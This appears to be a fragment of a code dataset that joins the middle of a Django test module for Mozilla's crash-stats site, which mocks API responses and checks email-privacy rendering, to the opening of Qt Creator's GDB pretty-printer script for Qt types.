"hits": [ { "date_oldest_job_queued": "2012-09-28T20:39:33+00:00", "date_recently_completed": "2012-09-28T20:40:00+00:00", "processors_count": 1, "avg_wait_sec": 16.407, "waiting_job_count": 56, "date_created": "2012-09-28T20:40:02+00:00", "id": 410655, "avg_process_sec": 0.914149 }, { "date_oldest_job_queued": "2012-09-28T20:34:33+00:00", "date_recently_completed": "2012-09-28T20:35:00+00:00", "processors_count": 1, "avg_wait_sec": 13.8293, "waiting_job_count": 48, "date_created": "2012-09-28T20:35:01+00:00", "id": 410654, "avg_process_sec": 1.24177 }, { "date_oldest_job_queued": "2012-09-28T20:29:32+00:00", "date_recently_completed": "2012-09-28T20:30:01+00:00", "processors_count": 1, "avg_wait_sec": 14.8803, "waiting_job_count": 1, "date_created": "2012-09-28T20:30:01+00:00", "id": 410653, "avg_process_sec": 1.19637 } ], "total": 12, "socorro_revision": "017d7b3f7042ce76bc80949ae55b41d1e915ab62" } """) rget.side_effect = mocked_get url = reverse('crashstats.status_json') response = self.client.get(url) eq_(response.status_code, 200) ok_(response.content.strip().startswith('{')) ok_('017d7b3f7042ce76bc80949ae55b41d1e915ab62' in response.content) ok_('1035' in response.content) ok_('2012-09-28T20:30:01+00:00' in response.content) ok_('application/json' in response['Content-Type']) eq_('*', response['Access-Control-Allow-Origin']) @mock.patch('requests.get') def test_crontabber_state(self, rget): def mocked_get(**options): assert 'crontabber_state' in options['url'], options['url'] return Response(""" { "state": { "slow-one": { "next_run": "2013-02-19 01:16:00.893834", "first_run": "2012-11-05 23:27:07.316347", "last_error": { "traceback": "error error error", "type": "<class 'sluggish.jobs.InternalError'>", "value": "Have already run this for 2012-12-24 23:27" }, "last_run": "2013-02-09 00:16:00.893834", "last_success": "2012-12-24 22:27:07.316893", "error_count": 6, "depends_on": [] }, "slow-two": { "next_run": "2012-11-12 19:39:59.521605", "first_run": "2012-11-05 23:27:17.341879", "last_error": {}, "last_run": "2012-11-12 18:39:59.521605", "last_success": "2012-11-12 18:27:17.341895", "error_count": 0, "depends_on": ["slow-one"] }, "slow-zero": { "next_run": "2012-11-12 19:39:59.521605", "first_run": "2012-11-05 23:27:17.341879", "last_error": {}, "last_run": "2012-11-12 18:39:59.521605", "last_success": "2012-11-12 18:27:17.341895", "error_count": 0, "depends_on": [] } }, "last_updated": "2000-01-01T00:00:00+00:00" } """) rget.side_effect = mocked_get url = reverse('crashstats.crontabber_state') response = self.client.get(url) eq_(response.status_code, 200) ok_('2000-01-01T00:00:00+00:00' in response.content) ok_('1/01/2000 00:00 UTC' in response.content) @mock.patch('requests.get') def test_crontabber_state_json(self, rget): url = reverse('crashstats.crontabber_state_json') sample_data = { "state": { "slow-one": { "next_run": "2013-02-19 01:16:00.893834", "first_run": "2012-11-05 23:27:07.316347", "last_error": { "traceback": "error error error", "type": "<class 'sluggish.jobs.InternalError'>", "value": "Have already run this for 2012-12-24 23:27" }, "last_run": "2013-02-09 00:16:00.893834", "last_success": "2012-12-24 22:27:07.316893", "error_count": 6, "depends_on": [] } } } def mocked_get(**options): assert 'crontabber_state' in options['url'] return Response(json.dumps(sample_data)) rget.side_effect = mocked_get response = self.client.get(url) ok_('application/json' in response['Content-Type']) eq_(response.status_code, 200) eq_(sample_data, json.loads(response.content)) @mock.patch('requests.post') @mock.patch('requests.get') def test_report_index(self, rget, rpost): dump = "OS|Mac OS X|10.6.8 10K549\\nCPU|amd64|family 6 mod" comment0 = "This is a comment" email0 = "some@emailaddress.com" url0 = "someaddress.com" email1 = "some@otheremailaddress.com" def mocked_get(url, **options): if '/crash_data/' in url and '/datatype/meta/' in url: return Response(""" { "InstallTime": "1339289895", "FramePoisonSize": "4096", "Theme": "classic/1.0", "Version": "5.0a1", "Email": "%s", "Vendor": "Mozilla", "URL": "%s" } """ % (email0, url0)) if 'crashes/comments' in url: return Response(""" { "hits": [ { "user_comments": "%s", "date_processed": "2012-08-21T11:17:28-07:00", "email": "%s", "uuid": "469bde48-0e8f-3586-d486-b98810120830" } ], "total": 1 } """ % (comment0, email1)) if '/crash_data/' in url and '/datatype/processed' in url: return Response(""" { "client_crash_date": "2012-06-11T06:08:45", "dump": "%s", "signature": "FakeSignature1", "user_comments": null, "uptime": 14693, "release_channel": "nightly", "uuid": "11cb72f5-eb28-41e1-a8e4-849982120611", "flash_version": "[blank]", "hangid": null, "distributor_version": null, "truncated": true, "process_type": null, "id": 383569625, "os_version": "10.6.8 10K549", "version": "5.0a1", "build": "20120609030536", "ReleaseChannel": "nightly", "addons_checked": null, "product": "WaterWolf", "os_name": "Mac OS X", "last_crash": 371342, "date_processed": "2012-06-11T06:08:44", "cpu_name": "amd64", "reason": "EXC_BAD_ACCESS / KERN_INVALID_ADDRESS", "address": "0x8", "completeddatetime": "2012-06-11T06:08:57", "success": true } """ % dump) if 'correlations/signatures' in url: return Response(""" { "hits": [ "FakeSignature1", "FakeSignature2" ], "total": 2 } """) raise NotImplementedError(url) rget.side_effect = mocked_get def mocked_post(url, **options): if '/bugs/' in url: return Response(""" {"hits": [{"id": "111222333444", "signature": "FakeSignature1"}, {"id": "111222333444", "signature": "FakeSignature2"}]} """) raise NotImplementedError(url) rpost.side_effect = mocked_post url = reverse('crashstats.report_index', args=['11cb72f5-eb28-41e1-a8e4-849982120611']) response = self.client.get(url) eq_(response.status_code, 200) # link to bugzilla with that bug ID should only appear once eq_(response.content.count('show_bug.cgi?id=111222333444'), 1) ok_('FakeSignature1' in response.content) ok_('11cb72f5-eb28-41e1-a8e4-849982120611' in response.content) ok_(comment0 in response.content) ok_(email0 not in response.content) ok_(email1 not in response.content) ok_(url0 not in response.content) ok_( 'You need to be signed in to be able to download raw dumps.' in response.content ) # the email address will appear if we log in User.objects.create_user('test', 'test@mozilla.com', 'secret') assert self.client.login(username='test', password='secret') response = self.client.get(url) ok_(email0 in response.content) ok_(email1 in response.content) ok_(url0 in response.content) eq_(response.status_code, 200) @mock.patch('requests.post') @mock.patch('requests.get') def test_report_pending_today(self, rget, rpost): def mocked_get(url, **options): if '/crash_data/' in url and '/datatype/processed' in url: raise models.BadStatusCodeError(404) rget.side_effect = mocked_get today = datetime.datetime.utcnow().strftime('%y%m%d') url = reverse('crashstats.report_index', args=['11cb72f5-eb28-41e1-a8e4-849982%s' % today]) response = self.client.get(url) ok_('pendingStatus' in response.content) eq_(response.status_code, 200) yesterday = datetime.datetime.utcnow() - datetime.timedelta(days=1) yesterday = yesterday.strftime('%y%m%d') url = reverse('crashstats.report_index', args=['11cb72f5-eb28-41e1-a8e4-849982%s' % yesterday]) response = self.client.get(url) ok_('Crash Not Found' in response.content) eq_(response.status_code, 200) url = reverse('crashstats.report_index', args=['blablabla']) response = self.client.get(url) eq_(response.status_code, 400) @mock.patch('requests.post') @mock.patch('requests.get') def test_report_index_with_hangid_in_raw_data(self, rget, rpost): dump = "OS|Mac OS X|10.6.8 10K549\\nCPU|amd64|family 6 mod" comment0 = "This is a comment" email0 = "some@emailaddress.com" url0 = "someaddress.com" email1 = "some@otheremailaddress.com" def mocked_get(url, **options): if '/crash_data/' in url and '/datatype/meta/' in url: return Response(""" { "InstallTime": "1339289895", "FramePoisonSize": "4096", "Theme": "classic/1.0", "Version": "5.0a1", "Email": "%s", "Vendor": "Mozilla", "URL": "%s", "HangID": "123456789" } """ % (email0, url0)) if '/crashes/paireduuid/' in url: return Response(""" { "hits": [{ "uuid": "e8820616-1462-49b6-9784-e99a32120201" }], "total": 1 } """) if 'crashes/comments' in url: return Response(""" { "hits": [ { "user_comments": "%s", "date_processed": "2012-08-21T11:17:28-07:00", "email": "%s", "uuid": "469bde48-0e8f-3586-d486-b98810120830" } ], "total": 1 } """ % (comment0, email1)) if 'correlations/signatures' in url: return Response(""" { "hits": [ "FakeSignature1", "FakeSignature2" ], "total": 2 } """) if '/crash_data/' in url and '/datatype/processed' in url: return Response(""" { "client_crash_date": "2012-06-11T06:08:45", "dump": "%s", "signature": "FakeSignature1", "user_comments": null, "uptime": 14693, "release_channel": "nightly", "uuid": "11cb72f5-eb28-41e1-a8e4-849982120611", "flash_version": "[blank]", "hangid": null, "distributor_version": null, "truncated": true, "process_type": null, "id": 383569625, "os_version": "10.6.8 10K549", "version": "5.0a1", "build": "20120609030536", "ReleaseChannel": "nightly", "addons_checked": null, "product": "WaterWolf", "os_name": "Mac OS X", "last_crash": 371342, "date_processed": "2012-06-11T06:08:44", "cpu_name": "amd64", "reason": "EXC_BAD_ACCESS / KERN_INVALID_ADDRESS", "address": "0x8", "completeddatetime": "2012-06-11T06:08:57", "success": true } """ % dump) raise NotImplementedError(url) rget.side_effect = mocked_get def mocked_post(url, **options): if '/bugs/' in url: return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) raise NotImplementedError(url) rpost.side_effect = mocked_post url = reverse('crashstats.report_index', args=['11cb72f5-eb28-41e1-a8e4-849982120611']) response = self.client.get(url) ok_('Hang Minidump' in response.content) # the HangID in the fixture above ok_('123456789' in response.content) @mock.patch('requests.get') def test_report_index_not_found(self, rget): crash_id = '11cb72f5-eb28-41e1-a8e4-849982120611' def mocked_get(url, **options): if '/datatype/processed/' in url: raise models.BadStatusCodeError(404) raise NotImplementedError(url) rget.side_effect = mocked_get url = reverse('crashstats.report_index', args=[crash_id]) response = self.client.get(url) eq_(response.status_code, 200) ok_("We couldn't find" in response.content) @mock.patch('requests.get') def test_report_index_pending(self, rget): crash_id = '11cb72f5-eb28-41e1-a8e4-849982120611' def mocked_get(url, **options): if '/datatype/processed/' in url: raise models.BadStatusCodeError(408) raise NotImplementedError(url) rget.side_effect = mocked_get url = reverse('crashstats.report_index', args=[crash_id]) response = self.client.get(url) eq_(response.status_code, 200) ok_('Fetching this archived report' in response.content) @mock.patch('requests.get') def test_report_index_too_old(self, rget): crash_id = '11cb72f5-eb28-41e1-a8e4-849982120611' def mocked_get(url, **options): if '/datatype/processed/' in url: raise models.BadStatusCodeError(410) raise NotImplementedError(url) rget.side_effect = mocked_get url = reverse('crashstats.report_index', args=[crash_id]) response = self.client.get(url) eq_(response.status_code, 200) ok_('This archived report has expired' in response.content) @mock.patch('requests.get') def test_report_pending_json(self, rget): crash_id = '11cb72f5-eb28-41e1-a8e4-849982120611' def mocked_get(url, **options): if '/datatype/processed/' in url: raise models.BadStatusCodeError(408) raise NotImplementedError(url) url = reverse('crashstats.report_pending', args=[crash_id]) response = self.client.get(url) expected = { 'status': 'error', 'status_message': ('The report for %s' ' is not available yet.' % crash_id), 'url_redirect': '' } eq_(response.status_code, 200) eq_(expected, json.loads(response.content)) def test_report_index_and_pending_missing_crash_id(self): url = reverse('crashstats.report_index', args=['']) response = self.client.get(url) eq_(response.status_code, 404) url = reverse('crashstats.report_pending', args=['']) response = self.client.get(url) eq_(response.status_code, 404) @mock.patch('requests.post') @mock.patch('requests.get') def test_report_list(self, rget, rpost): def mocked_post(url, **options): if '/bugs/' in url: return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) raise NotImplementedError(url) rpost.side_effect = mocked_post def mocked_get(url, **options): if 'report/list/' in url: return Response(""" { "hits": [ { "user_comments": null, "product": "WaterWolf", "os_name": "Linux", "uuid": "441017f4-e006-4eea-8451-dc20e0120905", "cpu_info": "...", "url": "http://example.com/116", "last_crash": 1234, "date_processed": "2012-09-05T21:18:58+00:00", "cpu_name": "x86", "uptime": 1234, "process_type": "browser", "hangid": null, "reason": "reason7", "version": "5.0a1", "os_version": "1.2.3.4", "build": "20120901000007", "install_age": 1234, "signature": "FakeSignature2", "install_time": "2012-09-05T20:58:24+00:00", "address": "0xdeadbeef", "duplicate_of": null }, { "user_comments": null, "product": "WaterWolf", "os_name": "Mac OS X", "uuid": "e491c551-be0d-b0fb-c69e-107380120905", "cpu_info": "...", "url": "http://example.com/60053", "last_crash": 1234, "date_processed": "2012-09-05T21:18:58+00:00", "cpu_name": "x86", "uptime": 1234, "process_type": "content", "hangid": null, "reason": "reason7", "version": "5.0a1", "os_version": "1.2.3.4", "build": "20120822000007", "install_age": 1234, "signature": "FakeSignature2", "install_time": "2012-09-05T20:58:24+00:00", "address": "0xdeadbeef", "duplicate_of": null } ], "total": 2 } """) if '/crashes/comments/' in url: return Response(""" { "hits": [ { "user_comments": "I LOVE CHEESE cheese@email.com", "date_processed": "2012-08-21T11:17:28-07:00", "email": "bob@uncle.com", "uuid": "469bde48-0e8f-3586-d486-b98810120830" } ], "total": 1 } """) if 'correlations/signatures' in url: return Response(""" { "hits": [ "FakeSignature1", "FakeSignature2" ], "total": 2 } """) if 'products/builds/product' in url: return Response(""" [ { "product": "WaterWolf", "repository": "dev", "buildid": 20130709000007, "beta_number": 0, "platform": "Windows", "version": "5.0a1", "date": "2013-07-09", "build_type": "Nightly" } ] """) raise NotImplementedError(url) rget.side_effect = mocked_get url = reverse('crashstats.report_list') response = self.client.get(url) eq_(response.status_code, 400) response = self.client.get(url, { 'signature': 'sig', 'range_value': 'xxx' }) eq_(response.status_code, 400) response = self.client.get(url, {'signature': 'sig'}) eq_(response.status_code, 200) response = self.client.get(url, { 'signature': 'sig', 'range_value': 3 }) eq_(response.status_code, 200) ok_('0xdeadbeef' in response.content) ok_('I LOVE CHEESE' in response.content) ok_('bob@uncle.com' not in response.content) ok_('cheese@email.com' not in response.content) @mock.patch('requests.post') @mock.patch('requests.get') def test_report_index_redirect_by_prefix(self, rget, rpost): dump = "OS|Mac OS X|10.6.8 10K549\\nCPU|amd64|family 6 mod" comment0 = "This is a comment" email0 = "some@emailaddress.com" url0 = "someaddress.com" email1 = "some@otheremailaddress.com" def mocked_get(url, **options): if '/crash_data/' in url and '/datatype/meta/' in url: return Response(""" { "InstallTime": "1339289895", "FramePoisonSize": "4096", "Theme": "classic/1.0", "Version": "5.0a1", "Email": "%s", "Vendor": "Mozilla", "URL": "%s" } """ % (email0, url0)) if 'crashes/comments' in url: return Response(""" { "hits": [ { "user_comments": "%s", "date_processed": "2012-08-21T11:17:28-07:00", "email": "%s", "uuid": "469bde48-0e8f-3586-d486-b98810120830" } ], "total": 1 } """ % (comment0, email1)) if '/crash_data/' in url and '/datatype/processed' in url: return Response(""" { "client_crash_date": "2012-06-11T06:08:45", "dump": "%s", "signature": "FakeSignature1", "user_comments": null, "uptime": 14693, "release_channel": "nightly", "uuid": "11cb72f5-eb28-41e1-a8e4-849982120611", "flash_version": "[blank]", "hangid": null, "distributor_version": null, "truncated": true, "process_type": null, "id": 383569625, "os_version": "10.6.8 10K549", "version": "5.0a1", "build": "20120609030536", "ReleaseChannel": "nightly", "addons_checked": null, "product": "WaterWolf", "os_name": "Mac OS X", "last_crash": 371342, "date_processed": "2012-06-11T06:08:44", "cpu_name": "amd64", "reason": "EXC_BAD_ACCESS / KERN_INVALID_ADDRESS", "address": "0x8", "completeddatetime": "2012-06-11T06:08:57", "success": true } """ % dump) if 'correlations/signatures' in url: return Response(""" { "hits": [ "FakeSignature1", "FakeSignature2" ], "total": 2 } """) raise NotImplementedError(url) rget.side_effect = mocked_get def mocked_post(url, **options): if '/bugs/' in url: return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) raise NotImplementedError(url) rpost.side_effect = mocked_post base_crash_id = '11cb72f5-eb28-41e1-a8e4-849982120611' crash_id = settings.CRASH_ID_PREFIX + base_crash_id assert len(crash_id) > 36 url = reverse('crashstats.report_index', args=[crash_id]) response = self.client.get(url) correct_url = reverse('crashstats.report_index', args=[base_crash_id]) self.assertRedirects(response, correct_url) @mock.patch('requests.post') @mock.patch('requests.get') def test_report_list_with_no_data(self, rget, rpost): def mocked_post(url, **options): if '/bugs/' in url: return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) raise NotImplementedError(url) rpost.side_effect = mocked_post def mocked_get(url, **options): if 'report/list/' in url: return Response(""" { "hits": [], "total": 0 } """) raise NotImplementedError(url) rget.side_effect = mocked_get url = reverse('crashstats.report_list') response = self.client.get(url, {'signature': 'sig'}) eq_(response.status_code, 200) # it sucks to depend on the output like this but it'll do for now since # it's quite a rare occurance. ok_('no reports in the time period specified' in response.content) @mock.patch('requests.post') @mock.patch('requests.get') def test_report_list_logged_in(self, rget, rpost): def mocked_post(url, **options): if '/bugs/' in url: return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) raise NotImplementedError(url) rpost.side_effect = mocked_post really_long_url = ( 'http://thisistheworldsfivehundredthirtyfifthslong' 'esturk.com/that/contains/a/path/and/?a=query&' ) assert len(really_long_url) > 80 def mocked_get(url, **options): if '/signatureurls/' in url: return Response("""{ "hits": [ {"url": "http://farm.ville", "crash_count":123}, {"url": "%s", "crash_count": 1} ], "total": 2 } """ % (really_long_url)) if 'report/list/' in url: return Response(""" { "hits": [ { "user_comments": null, "product": "WaterWolf", "os_name": "Linux", "uuid": "441017f4-e006-4eea-8451-dc20e0120905", "cpu_info": "...", "url": "http://example.com/116", "last_crash": 1234, "date_processed": "2012-09-05T21:18:58+00:00", "cpu_name": "x86", "uptime": 1234, "process_type": "browser", "hangid": null, "reason": "reason7", "version": "5.0a1", "os_version": "1.2.3.4", "build": "20120901000007", "install_age": 1234, "signature": "FakeSignature2", "install_time": "2012-09-05T20:58:24+00:00", "address": "0xdeadbeef", "duplicate_of": null }, { "user_comments": null, "product": "WaterWolf", "os_name": "Mac OS X", "uuid": "e491c551-be0d-b0fb-c69e-107380120905", "cpu_info": "...", "url": "http://example.com/60053", "last_crash": 1234, "date_processed": "2012-09-05T21:18:58+00:00", "cpu_name": "x86", "uptime": 1234, "process_type": "content", "hangid": null, "reason": "reason7", "version": "5.0a1", "os_version": "1.2.3.4", "build": "20120822000007", "install_age": 1234, "signature": "FakeSignature2", "install_time": "2012-09-05T20:58:24+00:00", "address": "0xdeadbeef", "duplicate_of": null } ], "total": 2 } """) if '/crashes/comments/' in url: return Response(""" { "hits": [ { "user_comments": "I LOVE CHEESE", "date_processed": "2012-08-21T11:17:28-07:00", "email": "bob@uncle.com", "uuid": "469bde48-0e8f-3586-d486-b98810120830" } ], "total": 1 } """) if 'correlations/signatures' in url: return Response(""" { "hits": [ "FakeSignature1", "FakeSignature2" ], "total": 2 } """) if 'products/builds/product' in url: return Response(""" [ { "product": "WaterWolf", "repository": "dev", "buildid": 20130709000007, "beta_number": 0, "platform": "Windows", "version": "5.0a1", "date": "2013-07-09", "build_type": "Nightly" } ] """) raise NotImplementedError(url) rget.side_effect = mocked_get url = reverse('crashstats.report_list') response = self.client.get(url, {'signature': 'sig'}) eq_(response.status_code, 200) ok_('http://farm.ville' not in response.content) ok_('bob@uncle.com' not in response.content) User.objects.create_user('test', 'test@mozilla.com', 'secret') assert self.client.login(username='test', password='secret') url = reverse('crashstats.report_list') response = self.client.get(url, {'signature': 'sig'}) eq_(response.status_code, 200) # now it suddenly appears when we're logged in ok_('http://farm.ville' in response.content) ok_('bob@uncle.com' in response.content) # not too long... ok_(really_long_url[:80 - 3] + '...' in response.content) @mock.patch('requests.get') def test_raw_data(self, rget): def mocked_get(url, **options): assert '/crash_data/' in url if 'datatype/meta/' in url: return Response(""" {"foo": "bar", "stuff": 123} """) if '/datatype/raw/' in url: return Response(""" bla bla bla """.strip()) raise NotImplementedError(url) rget.side_effect = mocked_get crash_id = '176bcd6c-c2ec-4b0c-9d5f-dadea2120531' json_url = reverse('crashstats.raw_data', args=(crash_id, 'json')) response = self.client.get(json_url) eq_(response.status_code, 403) User.objects.create_user('test', 'test@mozilla.com', 'secret') assert self.client.login(username='test', password='secret') response = self.client.get(json_url) eq_(response.status_code, 200) eq_(response['Content-Type'], 'application/json') eq_(json.loads(response.content), {"foo": "bar", "stuff": 123}) dump_url = reverse('crashstats.raw_data', args=(crash_id, 'dmp')) response = self.client.get(dump_url) eq_(response.status_code, 200) eq_(response['Content-Type'], 'application/octet-stream') ok_('bla bla bla' in response.content) # dump files are cached. # check the mock function and expect no change def different_mocked_get(url, **options): if 'crash_data/datatype/raw/uuid' in url: return Response(""" SOMETHING DIFFERENT """.strip()) raise NotImplementedError(url) rget.side_effect = different_mocked_get response = self.client.get(dump_url) eq_(response.status_code, 200) ok_('bla bla bla' in response.content) # still. good. @mock.patch('requests.get') def test_links_to_builds_rss(self, rget): def mocked_get(url, **options): if 'products/builds/product' in url: # Note that the last one isn't build_type==Nightly return Response(""" [ { "product": "Firefox", "repository": "dev", "buildid": 20120625000001, "beta_number": null, "platform": "Mac OS X", "version": "19.0", "date": "2012-06-25", "build_type": "Nightly" }, { "product": "Firefox", "repository": "dev", "buildid": 20120625000002, "beta_number": null, "platform": "Windows", "version": "19.0", "date": "2012-06-25", "build_type": "Nightly" }, { "product": "Firefox", "repository": "dev", "buildid": 20120625000003, "beta_number": null, "platform": "BeOS", "version": "5.0a1", "date": "2012-06-25", "build_type": "Beta" } ] """) raise NotImplementedError(url) rget.side_effect = mocked_get rss_product_url = reverse('crashstats.buildsrss', args=('Firefox',)) rss_version_url = reverse('crashstats.buildsrss', args=('Firefox', '19.0')) url = reverse('crashstats.builds', args=('Firefox',)) response = self.client.get(url) ok_('href="%s"' % rss_product_url in response.content) ok_('href="%s"' % rss_version_url not in response.content) url = reverse('crashstats.builds', args=('Firefox', '19.0')) response = self.client.get(url) ok_('href="%s"' % rss_product_url not in response.content) ok_('href="%s"' % rss_version_url in response.content) @mock.patch('requests.post') @mock.patch('requests.get') def test_remembered_date_range_type(self, rget, rpost): # if you visit the home page, the default date_range_type will be # 'report' but if you switch to 'build' it'll remember that def mocked_get(url, **options): if 'products' in url and not 'version' in url: return Response(""" { "products": [ "Firefox" ], "hits": { "Firefox": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Firefox", "release": "Nightly", "version": "19.0", "has_builds": true, "start_date": "2012-09-25" }] }, "total": 1 } """) elif 'products' in url: return Response(""" { "hits": [{ "is_featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Firefox", "build_type": "Nightly", "version": "19.0", "has_builds": true, "start_date": "2012-09-25" }], "total": 1 } """) if 'crashes/daily' in url: return Response(""" { "hits": { "Firefox:19.0": { "2012-10-08": { "product": "Firefox", "adu": 30000, "crash_hadu": 71.099999999999994, "version": "19.0", "report_count": 2133, "date": "2012-10-08" }, "2012-10-02": { "product": "Firefox", "adu": 30000, "crash_hadu": 77.299999999999997, "version": "19.0", "report_count": 2319, "date": "2012-10-02" } } } } """) if 'crashes/signatures' in url: return Response(""" {"crashes": [ { "count": 188, "mac_count": 66, "content_count": 0, "first_report": "2012-06-21", "startup_percent": 0.0, "currentRank": 0, "previousRank": 1, "first_report_exact": "2012-06-21T21:28:08", "versions": "2.0, 2.1, 3.0a2, 3.0b2, 3.1b1, 4.0a1, 4.0a2, 5.0a1", "percentOfTotal": 0.24258064516128999, "win_count": 56, "changeInPercentOfTotal": 0.011139597126354983, "linux_count": 66, "hang_count": 0, "signature": "FakeSignature1", "versions_count": 8, "changeInRank": 0, "plugin_count": 0, "previousPercentOfTotal": 0.23144104803493501, "is_gc_count": 10 } ], "totalPercentage": 0, "start_date": "2012-05-10", "end_date": "2012-05-24", "totalNumberOfCrashes": 0} """) raise NotImplementedError(url) def mocked_post(**options): assert '/bugs/' in options['url'], options['url'] return Response(""" {"hits": [{"id": "123456789", "signature": "Something"}]} """) rpost.side_effect = mocked_post rget.side_effect = mocked_get url = reverse('crashstats.home', args=('Firefox',)) response = self.client.get(url) eq_(response.status_code, 200) regex = re.compile('(<a\s+href="\?date_range_type=(\w+)[^>]+)') for tag, value in regex.findall(response.content): if value == 'report': ok_('selected' in tag) else: ok_('selected' not in tag) # now, like the home page does, fire of an AJAX request to frontpage # for 'build' instead frontpage_json_url = reverse('crashstats.frontpage_json') frontpage_reponse = self.client.get(frontpage_json_url, { 'product': 'Firefox', 'date_range_type': 'build' }) eq_(frontpage_reponse.status_code, 200) # load the home page again, and it should be on build date instead response = self.client.get(url) eq_(response.status_code, 200) for tag, value in regex.findall(response.content): if value == 'build': ok_('selected' in tag) else: ok_('selected' not in tag) # open topcrashers with 'report' topcrasher_report_url = reverse( 'crashstats.topcrasher', kwargs={ 'product': 'Firefox', 'versions': '19.0', 'date_range_type': 'report' } ) response = self.client.get(topcrasher_report_url) eq_(response.status_code, 200) # now, go back to the home page, and 'report' should be the new default response = self.client.get(url) eq_(response.status_code, 200) for tag, value in regex.findall(response.content): if value == 'report': ok_('selected' in tag) else: ok_('selected' not in tag) # open topcrashers with 'build' topcrasher_report_url = reverse( 'crashstats.topcrasher', kwargs={ 'product': 'Firefox', 'versions': '19.0', 'date_range_type': 'build' } ) response = self.client.get(topcrasher_report_url) eq_(response.status_code, 200) # now, go back to the home page, and 'report' should be the new default response = self.client.get(url) eq_(response.status_code, 200) for tag, value in regex.findall(response.content): if value == 'build': ok_('selected' in tag) else: ok_('selected' not in tag) @mock.patch('requests.get') def test_correlations_json(self, rget): url = reverse('crashstats.correlations_json') def mocked_get(url, **options): assert 'correlations/report_type' in url return Response(""" { "reason": "EXC_BAD_ACCESS / KERN_INVALID_ADDRESS", "count": 13, "load": "36% (4/11) vs. 26% (47/180) amd64 with 2 cores" } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get( url, {'correlation_report_type': 'core-counts', 'product': 'Firefox', 'version': '19.0', 'platform': 'Windows NT', 'signature': 'FakeSignature'} ) ok_(response.status_code, 200) ok_('application/json' in response['content-type']) struct = json.loads(response.content) eq_(struct['reason'], 'EXC_BAD_ACCESS / KERN_INVALID_ADDRESS') @mock.patch('requests.get') def test_correlations_signatures_json(self, rget): url = reverse('crashstats.correlations_signatures_json') def mocked_get(url, **options): assert 'correlations/signatures' in url return Response(""" { "hits": ["FakeSignature1", "FakeSignature2"], "total": 2 } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get( url, {'correlation_report_type': 'core-counts', 'product': 'Firefox', 'version': '19.0', 'platforms': 'Windows NT,Linux'} ) ok_(response.status_code, 200) ok_('application/json' in response['content-type']) struct = json.loads(response.content) eq_(struct['total'], 2)
codeparrot/github-code-clean
############################################################################ # # Copyright (C) 2014 Digia Plc and/or its subsidiary(-ies). # Contact: http://www.qt-project.org/legal # # This file is part of Qt Creator. # # Commercial License Usage # Licensees holding valid commercial Qt licenses may use this file in # accordance with the commercial license agreement provided with the # Software or, alternatively, in accordance with the terms contained in # a written agreement between you and Digia. For licensing terms and # conditions see http://qt.digia.com/licensing. For further information # use the contact form at http://qt.digia.com/contact-us. # # GNU Lesser General Public License Usage # Alternatively, this file may be used under the terms of the GNU Lesser # General Public License version 2.1 as published by the Free Software # Foundation and appearing in the file LICENSE.LGPL included in the # packaging of this file. Please review the following information to # ensure the GNU Lesser General Public License version 2.1 requirements # will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. # # In addition, as a special exception, Digia gives you certain additional # rights. These rights are described in the Digia Qt LGPL Exception # version 1.1, included in the file LGPL_EXCEPTION.txt in this package. # ############################################################################# import platform from dumper import * def qdump__QAtomicInt(d, value): d.putValue(int(value["_q_value"])) d.putNumChild(0) def qdump__QBasicAtomicInt(d, value): d.putValue(int(value["_q_value"])) d.putNumChild(0) def qdump__QAtomicPointer(d, value): d.putType(value.type) q = value["_q_value"] p = toInteger(q) d.putValue("@0x%x" % p) d.putNumChild(1 if p else 0) if d.isExpanded(): with Children(d): d.putSubItem("_q_value", q.dereference()) def qform__QByteArray(): return "Inline,As Latin1 in Separate Window,As UTF-8 in Separate Window" def qdump__QByteArray(d, value): d.putByteArrayValue(value) data, size, alloc = d.byteArrayData(value) d.putNumChild(size) format = d.currentItemFormat() if format == 1: d.putDisplay(StopDisplay) elif format == 2: d.putField("editformat", DisplayLatin1String) d.putField("editvalue", d.encodeByteArray(value)) elif format == 3: d.putField("editformat", DisplayUtf8String) d.putField("editvalue", d.encodeByteArray(value)) if d.isExpanded(): d.putArrayData(d.charType(), data, size) def qdump__QByteArrayData(d, value): data, size, alloc = d.byteArrayDataHelper(d.addressOf(value)) d.putValue(d.readMemory(data, size), Hex2EncodedLatin1) d.putNumChild(1) if d.isExpanded(): with Children(d): d.putIntItem("size", size) d.putIntItem("alloc", alloc) def qdump__QChar(d, value): d.putValue(int(value["ucs"])) d.putNumChild(0) def qform__QAbstractItemModel(): return "Normal,Enhanced" def qdump__QAbstractItemModel(d, value): format = d.currentItemFormat() if format == 1: d.putPlainChildren(value) return #format == 2: # Create a default-constructed QModelIndex on the stack. try: ri = d.makeValue(d.qtNamespace() + "QModelIndex", "-1, -1, 0, 0") this_ = d.makeExpression(value) ri_ = d.makeExpression(ri) rowCount = int(d.parseAndEvaluate("%s.rowCount(%s)" % (this_, ri_))) columnCount = int(d.parseAndEvaluate("%s.columnCount(%s)" % (this_, ri_))) except: d.putPlainChildren(value) return d.putValue("%d x %d" % (rowCount, columnCount)) d.putNumChild(rowCount * columnCount) if d.isExpanded(): with Children(d, numChild=rowCount * columnCount, childType=ri.type): i = 0 for row in xrange(rowCount): for column in xrange(columnCount): with SubItem(d, i): d.putName("[%s, %s]" % (row, column)) mi = d.parseAndEvaluate("%s.index(%d,%d,%s)" % (this_, row, column, ri_)) #warn("MI: %s " % mi) #name = "[%d,%d]" % (row, column) #d.putValue("%s" % mi) d.putItem(mi) i = i + 1 #warn("MI: %s " % mi) #d.putName("[%d,%d]" % (row, column)) #d.putValue("%s" % mi) #d.putNumChild(0) #d.putType(mi.type) #gdb.execute("call free($ri)") def qform__QModelIndex(): return "Normal,Enhanced" def qdump__QModelIndex(d, value): format = d.currentItemFormat() if format == 1: d.putPlainChildren(value) return r = value["r"] c = value["c"] try: p = value["p"] except: p = value["i"] m = value["m"] if d.isNull(m) or r < 0 or c < 0: d.putValue("(invalid)") d.putPlainChildren(value) return mm = m.dereference() mm = mm.cast(mm.type.unqualified()) ns = d.qtNamespace() try: mi = 